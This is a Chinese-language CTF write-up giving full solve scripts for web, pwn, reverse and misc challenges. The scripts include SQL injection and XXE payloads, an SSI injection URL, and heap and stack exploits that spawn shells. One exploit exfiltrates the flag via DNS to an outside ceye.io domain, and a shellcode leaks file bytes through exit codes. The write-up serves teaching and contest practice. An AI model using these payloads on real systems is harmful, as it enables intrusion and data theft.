Web
SimpleBBS
Error-based 注入,通过错误信息获得flag。
PoC如下:
curl -X POST \
http://bbs.sec.zju.edu.cn/index.php/login/valid \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'Postman-Token: 9a5f4151-4ff2-4366-bde2-94d3f0ff72a7' \
-H 'cache-control: no-cache' \
-d 'username=qweqwe'\''%20OR%20(SELECT%205979%20FROM(SELECT%20COUNT(*)%2CCONCAT(0x7176626271%2C(SELECT%20%0A%20flag%20from%20flag)%2C0x716b716b71%2CFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20fsUE&password=qweqwe&undefined='
EIS{7879f0a27d8bcfcff0bcc837d7641e81}
SimpleWasmReverse
strings 命令获得 flag.wasm 中的两个关键字符串 ABCDEFG.....
和 aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA=
,猜测是base64码表与编码后的flag,解码后长度为38,与WASM逆向后对字符串长度判断相符。
对wasm分析,其中_check
函数中对输入字符存在逐个加3的操作,猜测为此方法处理flag,对获得的base64解码,逐位减3获得flag。
>>> for c in 'aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA='.decode('base64'):
... print chr(ord(c)-3),
...
f l a g { 1 1 e 0 6 0 a 2 c e 1 8 b 7 6 e 3 f 2 6 5 c 4 6 5 8 d a 9 1 e c }
SimpleExtensionExplorerInjection
阅读源码发现UserController.java
中解析参数时,使用了 @XBRead
,则可解析XML并回显。
构造 XXE payload 获得flag。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE name [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<name>&xxe;</name>
SimplePrintEventLogger
与 SimpleExtensionExplorerInjection
中相同,使用XXE poc: file:///
列出根目录,获取第二个flag的文件名,并读取。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE name [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///" >
]>
<name>&xxe;</name>
EIS{f501e9c5323c560b0a40192ce9b7ad38}
SimpleServerInjection
出题人提示了SSI
https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
http://httpd.apache.org/docs/current/howto/ssi.html
http://210.32.4.22/index.php?name=%3C%21--%23include%20virtual%3D%22flag%22%20--%3E
Simple Blog
二次注入
import requests
import time
import string
def sqli(payload):
start_time = time.time()
session = requests.Session()
register_url = "http://210.32.4.20/register.php"
data = {
'username': payload,
'password': "123"
}
session.post(register_url, data=data, allow_redirects=False)
login_url = "http://210.32.4.20/login.php"
session.post(login_url, data=data, allow_redirects=False)
answer_url = "http://210.32.4.20/answer.php"
data = {
"1.b": "on"
}
http_content = session.post(answer_url, data=data, allow_redirects=False).content
# print http_content[http_content.find('alert'):http_content.find('alert')+100]
run_time = time.time() - start_time
return run_time
sqli_payload = "dubhexxxdubhe5' or if(ord(substr((select flag from flag), %d, 1))=%d, sleep(0.005), 0) -- n"
flag = 'EIS{397ea47dcc07dd2abdffc5b16c9026f5}'
for i in range(50):
for char in string.printable:
payload = sqli_payload % (len(flag) + 1, ord(char))
t = sqli(payload)
print char, t
if t > 1:
flag += char
print flag
break
PWN
dns of melody
这题可以利用dns递归查询,来将flag传输到权威服务器上面(感谢Dlive师傅给的域名)
from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def call(r12, rdi, rsi ,rdx):
shellcode = p64(0x4012AA) + p64(0) + p64(1) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi)
shellcode += p64(0x401290) + p64(0) * 7
return shellcode
def add(p, l, hostname):
p.recvuntil('Select:\n')
p.sendline('1')
p.recvuntil('length: \n')
p.sendline(str(l))
p.sendline(hostname)
def do(p, index):
p.recvuntil('Select:\n')
p.sendline('2')
p.recvuntil('index: \n')
p.sendline(str(index))
def delete(p, index):
p.recvuntil('Select:\n')
p.sendline('3')
p.recvuntil('index: \n')
p.sendline(str(index))
def edit(p, index, data):
p.recvuntil('Select:\n')
p.sendline('4')
p.recvuntil('index: \n')
p.sendline(str(index))
p.sendline(data)
def getflag(ip, port, debug, index):
if debug == 1:
p = process('./dns_of_melody')
gdb.attach(p, 'b *0x401246\nc')
else:
p = remote(ip, port)
add(p, 100, 'aaaaaaaaaaaaaaa')
add(p, 100, 'a.zptvs7.ceye.io')
add(p, 100, './flag')
do(p, 0)
p.recvuntil('Unknown host!')
edit(p, 0, '\x00' * 0x1A0 + p64(0) + call(0x0601FE8, 0x602368, 0, 0) + call(0x601FB8, 0, 0x6021e4 - index, index + 1) + call(0x601FD0, 0x6021e4 - index, 0, 0))
# p.interactive()
def GameStart(ip, port, debug):
flag_len = 25
getflag(ip, port, debug, flag_len - 1)
# for i in range(flag_len):
# getflag(ip, port, debug, i)
# time.sleep(0.5)
if __name__ == '__main__':
GameStart('210.32.4.15', 13374, 0)
hack
思路和pwnable.kr的unlink一致,通过修改栈上的值劫持栈帧(main函数ret前的逻辑)到堆上(堆地址已知)。利用两次泄漏可以获得libc的基地址和栈地址。
exp
# coding=utf-8
from pwn import *
def pwn():
BIN_PATH = './hack'
DEBUG = 0
context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('210.32.4.16', 13375)
elf = ELF(BIN_PATH)
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
context.log_level = 'debug'
p.recvuntil('input address: ')
p.sendline(str(elf.got['puts']))
p.recvuntil(str(elf.got['puts']) + ', ')
recv = p.recvuntil('\n')
libc.address = int(recv, 16) - libc.symbols['puts']
print hex(libc.address)
#gdb.attach(p, gdbscript='b *0x80486ff')
p.recvuntil('Second chance: \n')
p.sendline(str(libc.symbols['__environ']))
p.recvuntil(', ')
recv = p.recvuntil('\n')
stack_address = int(recv, 16)
print hex(stack_address)
raw_input()
p.recvuntil('The address of the node is ')
recv = p.recvuntil(', ', drop=True)
heap_addr = int(recv, 16)
ecx_address = stack_address - (0xfff84ddc - 0xfff84d3c)
target_address = stack_address - (0xffb3d93c - 0xffb3d884)
print hex(ecx_address)
if DEBUG == 1:
one_gadget = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]
else:
one_gadget = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819]
#payload = p32(heap_addr) + p32(heap_addr) + p32(heap_addr - 0xc) + p32(stack_address - 0x8)
payload = p32(libc.address + one_gadget[3]) + p32(heap_addr + 12) + p32(heap_addr + 0x4) + p32(target_address - 0x8)
p.recvuntil('fake node now: ')
p.send(payload)
p.interactive()
p.close()
if __name__ == '__main__':
pwn()
flag:EIS{d2954e2d38bf6b2ed3ebfead7bb6cd33}
justnote
堆溢出,在插入的时候,输入最小的负值可以造成堆溢出
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def add(p, lgth, note):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('note: ')
p.sendline(str(lgth))
p.recvuntil('note: ')
p.sendline(note)
def delete(p, idx):
p.recvuntil('choice: ')
p.sendline('2')
p.recvuntil('note: ')
p.sendline(str(idx))
def edit(p, idx, note):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('note: ')
p.sendline(str(idx))
p.recvuntil('note: ')
p.sendline(note)
def HouseOfOrange(head_addr, system_addr, io_list_all_addr):
exp = '/bin/sh'.ljust(8, '\x00') + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
exp += p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
exp += p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
return exp
def GameStart(ip, port, debug):
if debug == 1:
p = process('./justnote', env = {'LD_PRELOAD' : './libc6_2.23-0ubuntu10_amd64.so'})
# gdb.attach(p)
else:
p = remote(ip, port)
add(p, -9223372036854775808, 'hack by w1tcher')
add(p, 100, 'hack by w1tcher')
add(p, -9223372036854775808, 'hack by w1tcher')
add(p, 100, 'hack by w1tcher')
add(p, -9223372036854775808, 'hack by w1tcher')
add(p, 100, 'hack by w1tcher')
add(p, 100, 'hack by w1tcher')
delete(p, 1)
delete(p, 3)
edit(p, 0, '\x00' * 0x108 + '\x13')
add(p, 100, 'a' * 8)
p.recvuntil('a' * 8)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00'))
log.info('heap addr is : ' + hex(heap_addr))
edit(p, 2, '\x00' * 0x108 + '\x13')
add(p, 100, '')
p.recvuntil('out: ')
libc_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x3c4b78
log.info('libc addr is : ' + hex(libc_addr))
delete(p, 5)
edit(p, 4, '\x00' * 0x100 + HouseOfOrange(heap_addr + 0x110 * 2, libc_addr + 0x45390, libc_addr + 0x3c5520))
p.recvuntil('choice: ')
p.sendline('1')
p.interactive()
if __name__ == '__main__':
GameStart('210.32.4.17', 13376, 0)
RE
Hide and Seek
大佬发现是逐字节验证,侧信道打之
from pwn import *
table = '_abcdefghijklmnopqrstuvwxyz{} ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`|~0123456789'
pin = '/home/echo/Tools/pin-3.5/pin'
binary = '/home/echo/1ctf/yws/hideandseek'
#binary = 'C:\\Users\\echo\\Desktop\\task\\rc4\\simple_rc4.exe'
dll = '/home/echo/Tools/pin-3.5/source/tools/ManualExamples/obj-intel64/inscount0.so'
def getCount(flag):
p = process([pin,'-t',dll,'--',binary])
p.sendline(flag)
p.recvline()
p.recvline()
base = int(p.recvline().split(' ')[1].strip('\r\n'))
p.close()
return base
# print getCount('1')
# print getCount('E')
# print getCount('EI')
# '''
ans = 'EIS{you_should_go_for_nascondino_world_c'
flag = list(ans)
for i in range(32):
flag.append('\x00')
# print flag
# '''
base = getCount(''.join(flag))
print flag
for j in range(len(ans),70):
print '-------------------Round %d-------------'%j
for i in table:
flag[j] = i
data = getCount(''.join(flag))
print i,data
if data > base+100:
print 'getc',i,''.join(flag)+i
if i=='}':
print ''.join(flag)
exit(0)
base = data
break
print ''.join(flag)
# '''
flag : EIS{you_should_go_for_nascondino_world_championship}
Tailbone
隐藏了主要逻辑,pin追踪发现执行到了eh_frame的位置。
.eh_frame:0000000000400790 sub_400790 proc near
.eh_frame:0000000000400790 movaps xmm0, xmmword ptr cs:flag
.eh_frame:0000000000400797 movaps xmm1, xmmword ptr cs:flag+10h
.eh_frame:000000000040079E movaps xmm2, xmmword ptr cs:_start
.eh_frame:00000000004007A5 movaps xmm3, xmmword ptr cs:unk_400540
.eh_frame:00000000004007AC movaps xmm4, xmmword ptr cs:unk_400550
.eh_frame:00000000004007B3 movaps xmm5, xmmword ptr cs:deregister_tm_clones
.eh_frame:00000000004007BA movaps xmm6, xmmword ptr cs:loc_400570
.eh_frame:00000000004007C1 movaps xmm7, xmmword ptr cs:loc_400580
.eh_frame:00000000004007C8 movaps xmm8, xmmword ptr cs:loc_400590
.eh_frame:00000000004007D0 movaps xmm9, xmmword ptr cs:register_tm_clones
.eh_frame:00000000004007D8 aesenc xmm0, xmm2
.eh_frame:00000000004007DD aesenc xmm0, xmm3
.eh_frame:00000000004007E2 aesenc xmm0, xmm4
.eh_frame:00000000004007E7 aesenc xmm0, xmm5
.eh_frame:00000000004007EC aesenc xmm1, xmm6
.eh_frame:00000000004007F1 aesenc xmm1, xmm7
.eh_frame:00000000004007F6 aesenc xmm1, xmm8
.eh_frame:00000000004007FC aesenc xmm1, xmm9
.eh_frame:0000000000400802 movaps xmmword ptr cs:flag, xmm0
.eh_frame:0000000000400809 movaps xmmword ptr cs:flag+10h, xmm1
.eh_frame:0000000000400810 xor rcx, rcx
.eh_frame:0000000000400813 lea rdi, byte_400840
.eh_frame:000000000040081B lea rsi, flag
.eh_frame:0000000000400822
.eh_frame:0000000000400822 loc_400822: ; CODE XREF: sub_400790+A5↓j
.eh_frame:0000000000400822 mov al, [rdi+rcx]
.eh_frame:0000000000400825 cmp al, [rsi+rcx]
.eh_frame:0000000000400828 jnz flag_wrong
.eh_frame:000000000040082E inc rcx
.eh_frame:0000000000400831 cmp rcx, 20h
.eh_frame:0000000000400835 jnz short loc_400822
.eh_frame:0000000000400837 jmp flag_correct
追着aesenc调了半天aesdec,解密一直不对,不明觉厉,自己复现aesenc
AES_SubBytes(state);
AES_ShiftRows(state);
AES_MixColums(state);
AES_AddRoundKey(ekey+i*16, state);
验证发现结果正确,实现解密算法
AES_AddRoundKey(ekey+(7-i)*16, state+16);
AES_InvMixColums(state+16);
AES_InvShiftRows(state+16);
AES_InvSubBytes(state+16);
解密得到flag : eis{the_fact_beyond_the_future}
Misc
Checkin
切片获得字符,标注后脚本识别。
#nc 210.32.4.14 13373
import hashlib
import time
alphabet = {'a5b42b1a1110ce927bb044ce85fb79f00f373a67': '1', '3af9e778b44cd054b3f5b781e54c50aace6e35b4': 't', '74718b6ed09bf13f46c32a234fed88e8d10bd925': 'd', '082ae500cf64515a38a9955c04fc1d3a1811bfd3': 'c', '5ab8693b6200afad741ee53bfdcf266aa24dafbb': 'p', 'afc5e6adf5a9cc0b58e6ac7c178eae07df1b72b1': 'o', 'a384bda7f1dd2ebade3f89397d1caa7f69bfa506': '0', 'f5fed4dce954c1e41045078cace581379dc876b8': 'n', '87ba3c2cfca4b2f0b16aba5ddc6ea82343a5314d': 'v', 'e5254052887031983f67427bbb44c2920db21e67': '5', 'c4528d82f5503762289b60c88b8532659e5ba383': 's', '6fee63f2df6dac403622abe257ab690e0f0c80f3': 'h', '4ae8782bd51089d3f7b007e52ce05b2913eb7343': 'r', 'c6bb4ec7c5eea7c541aabbd518a82956a7e05a87': 'k', '3affe3418958b49933be5a3c08f12de8a5ff95c6': 'j', '2e17477ebf20102b815a7fce27f301febbc3add6': '6', '0f9505f64d5bfecf3b398a5c1388b712bdf4b164': '3', 'fab395f036ba9be96cae6774aeb0462ba487d347': 'l', 'a2172d45506546013ca335f85d8e775c4fc1bbbf': '8', '6383eccfaec75ee683a8029a936e441c221f362c': '2', 'e6f71eb73593ec2f373b346238121f8d29e12522': 'u', '27f2d854ef251ae967702e502de771aa898c4db9': 'i', 'd497bb97dbeaf5abdec5ea2763a8da502ae97ffc': '9', '5bd096201b54e6c17ba7ad30bf14131e6fbf610d': '7', 'b8ecb62c5e1531f7ed0e8e101c275d2140880552': 'g', '6b7f7caafb9873343ce26d599f0dcd0814634a4c': 'a', '6ed74ae66b9191d896bb7f8e401661e955617391': '4', '560bb1238914d2dca8a0e658d7d7adfdd7cfa93e': 'x', 'b6434d15e299209c3510fa7a398667a6ec24ea7f': 'm', '693bdb2162d9f30deabd3eaa86ec2108ba200bbc': 'w', '21edee36d60b190108848c07aeec280e54bfb082': 'e', 'add9e6c41892ff7b9d39bf1a032f548544466240': 'b', '48fe14e3850eac4dadb3af4b7024aef0b7a02e3d': 'y', 'bebc74425afd6dd39021fb879207f1f023e2c11b': 'z', '865bbd16203ec070b32caba35dd4bad64ae5309d': 'q', '14d3f320e5b6591542474236067d0ac58bd4958a': 'f'}
def detect(char):
print char
cid = hashlib.sha1(char).digest().encode('hex')
if cid not in alphabet:
print "what's that:"
char = raw_input()
alphabet[cid]= char
print '------------'
print alphabet
print '------------'
return alphabet[cid]
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('210.32.4.14', 13373))
buf = ""
while True:
data = s.recv(65535)
buf += data
ans = ""
if buf[-8:] == "d robot\n":
print "bad bad robot"
break
if buf.find("EIS{") >= 0:
print buf
break
if buf[-8:] == "aptcha: ":
lines = buf.split('\n')
for n in range(25):
char = ""
for i in lines:
if len(i) == 450:
char += i[n*18:(n*18+18)]
char += '\n'
else:
print i
res = detect(char)
ans += res
print res
ans += "\r\n"
print "sending answer:", ans
s.send(ans)
buf = ""
time.sleep(0.1)
s.close()
ELFRand
大佬告诉我二分法可以做,于是我就二分了
from pwn import *
ip = '210.32.4.13'
port = 13372
p = remote(ip,port)
fp = open('lib.so','rb')
content = fp.read()
def offset(a):
p.recvuntil('offset:')
# print 'send offset',hex(a)
p.sendline(hex(a))
data = p.recvline().strip(' \r\n')
# print data
data = data.decode('hex')
return data
def read8(data,offset):
return data[offset:offset+8].encode('hex')
def getoffset(a):
# print 'send offset',hex(a)
data = read8(content,a)
print data
# data = data.decode('hex')
return data
# '''
table_data_offset = 0x80
data_offset = u64(offset(table_data_offset))+528
table_data_size = 0x98
data_size = u64(offset(table_data_size))-528-1
data_size = data_size+0x40
print data_size/0x60,data_size%0x60
r = data_size/0x60
l = 0
m = (l+r)/2
while True:
data = offset(data_offset+m*0x60+0x20)
print m,data
if '\x00' in data:
r = m
else:
l = m
m = (l+r)/2
if '}' in data:
break
# while True:
print offset(data_offset+m*0x60+0x20-8)
print offset(data_offset+m*0x60+0x20-16)
print offset(data_offset+m*0x60+0x20-24)
print offset(data_offset+m*0x60+0x20-32)
得到flag : EIS{need_to_know_123_before_hacking_lol}
YouChat
dh前向安全性密钥交换算法,通常情况来看即使获得通讯数据也无法获得会话密钥。
但是题目中的随机数使用了当前时间戳,并且流量中有 HTTP 流量,即可获得服务器时间,从服务器时间附近开始爆破密钥,爆破后解密密文即可。
from Crypto.Cipher import AES
n1 = 2788345359890551962905543699268136771176146000595129094648687559760519824698082876750649883170679922128843046651835660067369815643046909474111978619841667476365660977739880668233159866349478217053419208643682425092527541427901937121285804453341270303876060899970827193040944247320434441820601552072772196631
module = 178922502641382884719655444473401202320992695012776499435228267035240519083789199752508747615390185778922172217091588694375036275788509347056710981158505765839784659343157937299004903271202878247597396606459115904969445633597329631641132639838853464328381065150951561416618657054418909973015950955119221913709
base = 65537
n2 = 122909506930720148822026880183728012525703992834932769580248844377225531647180931058151093428767439482846732968693811513424900749181859575037932026377525177691863042999954304430740868140773963404578870118560546364210827023511095073900617051661314244461840751860152430809513488211355892785320736409017285674252
enc = "Z5x2stZPTMLCdUwBZcw0uwDVMaLDS1xME7+JwmeUYZb4jep2HZBF1V0IKwDL4Vse"
def newaes(key):
aes_key = 0
while key > 0:
aes_key ^= key & (2 ** 256 - 1)
key >>= 256
try:
aes_key = ('%x' % aes_key).strip('L').decode('hex')
except:
aes_key = ('0%x' % aes_key).strip('L').decode('hex')
aes = AES.new(aes_key, AES.MODE_CBC, '0' * 16)
return aes
def dec(key,encmsg):
msg = newaes(key).decrypt(encmsg.strip().decode('base64'))
return msg[:-ord(msg[-1])]
start = 1537005600
i = start
while True:
i -= 1
if i % 10000 ==0:
print i
if n1 == pow(base, i * 0xdeadbeef, module):
print i
break
# i = 1537004467
nonce = i * 0xdeadbeef
key = pow(n2, nonce, module)
enc = "Z5x2stZPTMLCdUwBZcw0uwDVMaLDS1xME7+JwmeUYZb4jep2HZBF1V0IKwDL4Vse"
print dec(key, enc)
GoGoGo
观察数据包发现大量异常ICMP包, 观察发现为ICMP Tunnel, 解包ICMP后发现通过ftp下载了gogogo.png。
import dpkt
f = open('test.pcap', 'rb')
pcap = dpkt.pcap.Reader(f)
out = open('in.pcap', 'wb')
writer = dpkt.pcap.Writer(out)
for ts, buf in pcap:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
icmp = ip.data
payload = icmp.data
eth.data = str(payload)[4:]
writer.writepkt(eth)
f.close()
out.close()
ShellcodEncrypt
题目放出提示the encryption is the decryption
所以猜测加密和解密是同一个函数,所以经过多次手动尝试和猜测,发现加密的单位是dword,而以此输入的时候qword,再多次尝试得到
int a,b;
int c,d = crypto(a + b)
crypto(d + c) == b + a
从上面的逻辑可以看出,最开始的时候将明文交换加密之后,再次交换解密解密就好。
然而这题服务器上给的binary每次连接都不一样(还要感谢出题人提醒),但是巧合的是我发现main函数的地址始终不会发生变化,然后我选择patch程序,让程序直接将加密之后的数据输出,然后交换后,发给服务端。
这题每次输出的是程序的返回值,这样将flag的每个字符,通过exit一字节一字节输出就可以了。
- patch
from pwn import *
def patch(pt):
seccomp = pt.inject(c = r'''
#define SYS_write "1"
#define SYS_exit "60"
static int exit(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
static int write(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
void seccomp(char * buf){
write(1, buf, 0x80, 0, 0);
exit(0, 2, 0, 0, 0);
return;
}
static int write(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
int ret;
__asm__ __volatile__ ("mov $" SYS_write ", %%rax\n\t"
"movl %1, %%edi\n\t"
"movq %2, %%rsi\n\t"
"movq %3, %%rdx\n\t"
"movq %4, %%r10\n\t"
"movq %5, %%r8\n\t"
"syscall\n\t"
:"=a"(ret)
:"m"(option), "m"(arg2), "m"(arg3), "m"(arg4), "m"(arg5)
);
return ret;
}
static int exit(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
int ret;
__asm__ __volatile__ ("mov $" SYS_exit ", %%rax\n\t"
"movl %1, %%edi\n\t"
"movq %2, %%rsi\n\t"
"movq %3, %%rdx\n\t"
"movq %4, %%r10\n\t"
"movq %5, %%r8\n\t"
"syscall\n\t"
:"=a"(ret)
:"m"(option), "m"(arg2), "m"(arg3), "m"(arg4), "m"(arg5)
);
return ret;
}
''')
hook_addr = 0x40059D
pt.hook(hook_addr, seccomp)
- exploit
from pwn import *
import os
import base64
context(arch = 'amd64', os = 'linux', endian = 'little')
# context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
def getencryptdata(data):
sc = data.ljust(((len(data) + 7) / 8) * 8, '\x00')
end = ''
for i in range(0, len(sc), 8):
end += sc[i + 4 : i + 8] + sc[i : i + 4]
p = process('./ShellcodEncrypt.patched')
p.send(end)
sc = p.recvn(0x80)
end = ''
for i in range(0, len(sc), 8):
end += sc[i + 4 : i + 8] + sc[i : i + 4]
return end
SC = '''
/* open(file='/home/ctf/flag', oflag=0, mode=0) */
/* push '/home/ctf/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f66
xor [rsp], rax
mov rax, 0x74632f656d6f682f
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall
push 0
/* call read('rax', '0x1000 - 1', 2) */
mov rdi, rax
xor eax, eax /* SYS_read */
push %d
pop rdx
xor esi, esi
lea rsi, [rsp - %d]
syscall
pop rdi
/* exit(status='rdi') */
/* setregs noop */
/* call exit() */
push SYS_exit /* 0x3c */
pop rax
syscall
flag = ''
for i in range(100):
p = remote('210.32.4.18', 13377)
p.recvuntil('file:\n')
with open('./ShellcodEncrypt.txt', 'w') as f:
f.write(p.recvline()[ : -1])
os.system('base64 -d ./ShellcodEncrypt.txt > ShellcodEncrypt')
os.system('~/patchkit/patch ShellcodEncrypt patch.py')
p.recvuntil('please:\n')
shellcode = getencryptdata(asm(SC % (i + 1, i)))
p.sendline(base64.b64encode(shellcode))
# print p.recvline()
p.recvuntil('is ')
flag += chr(int(p.recvline()[ : -1]))
print flag